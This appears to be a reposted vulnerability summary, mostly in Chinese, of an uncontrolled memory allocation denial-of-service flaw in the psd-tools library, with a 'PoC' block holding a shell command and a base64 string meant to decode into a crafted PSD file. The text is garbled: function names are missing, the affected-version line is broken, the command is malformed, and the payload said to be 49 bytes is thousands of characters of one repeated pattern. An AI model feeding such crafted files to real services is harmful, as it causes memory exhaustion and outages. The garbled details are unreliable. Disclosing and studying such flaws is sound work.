psd-tools Uncontrolled Memory Allocation DoS Vulnerability and PoC

漏洞总结：psd-tools 不受控内存分配漏洞 漏洞概述 标题：Uncontrolled memory allocation in psd-tools composite/numpy via crafted PSD geometry 严重程度：High (7.5 / 10) 漏洞类型：不受控内存分配 (Uncontrolled Memory Allocation) 描述： 和 方法在验证值之前，会根据 PSD 头部几何信息（宽度 × 高度 × 通道数 × 深度，以及每层矩形）分配输出图像缓冲区。通过构造一个声明了巨大维度的 PSD 文件，会导致多 GB 的内存分配。由于 仅返回一个带有警告的黑图而不抛出异常，调用者无法检测到或防范此问题。 影响： 在 1.17.2 中，一个 49 字节的 PSD 文件（使用 参数生成）会导致约 7.5 GB 的内存分配。 由于缓冲区在验证前已提交且未抛出异常，任何使用 处理不受信 PSD 的服务都面临拒绝服务（DoS）风险。 在低 RAM 主机上，攻击者声明的几何尺寸分配可能导致不可恢复的 OOM-kill。 影响范围 受影响版本：= 1.17.4 修复方案 验证声明的尺寸、通道数和每层矩形，与实际的文件长度（以及可配置的最大 预算）进行比对，然后再进行分配；在溢出时抛出错误，而不是提交缓冲区并返回黑图。 POC 代码 复现步骤： POC 文件内容 (49 bytes)： ``` based64: d > psd-tools-grammar-423.psd OEjN0AAAAAAAAMAAAAVAAAAVAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAAMAAAAA

Goal Reached Thanks to every supporter — we hit 100%!

psd-tools Uncontrolled Memory Allocation DoS Vulnerability and PoC

More from this source